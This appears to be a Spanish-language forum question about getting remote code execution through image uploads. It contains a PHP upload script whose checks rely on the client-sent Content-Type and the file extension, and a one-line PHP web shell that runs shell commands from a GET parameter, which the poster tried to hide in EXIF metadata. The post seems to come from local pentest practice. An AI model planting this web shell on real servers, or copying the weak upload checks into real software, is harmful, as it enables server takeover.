Estoy tratando de aprender cómo se pueden usar los archivos JPG y PNG para obtener RCE. A continuación se muestra mi código para subir archivos. Verificará si el tipo de contenido del archivo es correcto.
<?php
$test = array('image/jpeg', 'image/png', 'image/jpg');
$test2 = @$_FILES['filename'];
$test3 = array('png', 'jpg', 'jpeg');
$ut = pathinfo($test2['name'], PATHINFO_EXTENSION);
$original_path="uploadedfiles/";
//New path uploadfile/filename.extension
$original_path1 = $original_path.basename($test2['name']);
$original_path2 = "C:/xampp/htdocs/demo/$original_path1";
$resultpath = "F:/".basename($test2['name']);
if (isset($test2))
{
if (in_array($test2['type'], $test))
{
if (in_array($ut, $test3))
{
if(move_uploaded_file($test2["tmp_name"], $original_path1))
{
echo "The file ".basename($test2['name'])." has been uploaded successfully. <br><br> <img src=/demo/$original_path1>";
}
else
{
echo "Error in file upload";
}
}
else
{
echo "Invalid File Extension";
}
}
else
{
echo "Invalid file Content-type ";
}
}
else
{
echo "Where is the filename parameter? Go and make another request with the filename parameter.";
}
?>
He intentado cambiar la descripción y el encabezado Exif del comentario del usuario a través de este sitio web con esta carga:
<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET["r0ng"]);}?>
Pero falló.
Entonces, como un pentester, ¿qué otras cosas puedo probar? Estoy seguro de que me estoy perdiendo algo importante, pero ¿qué?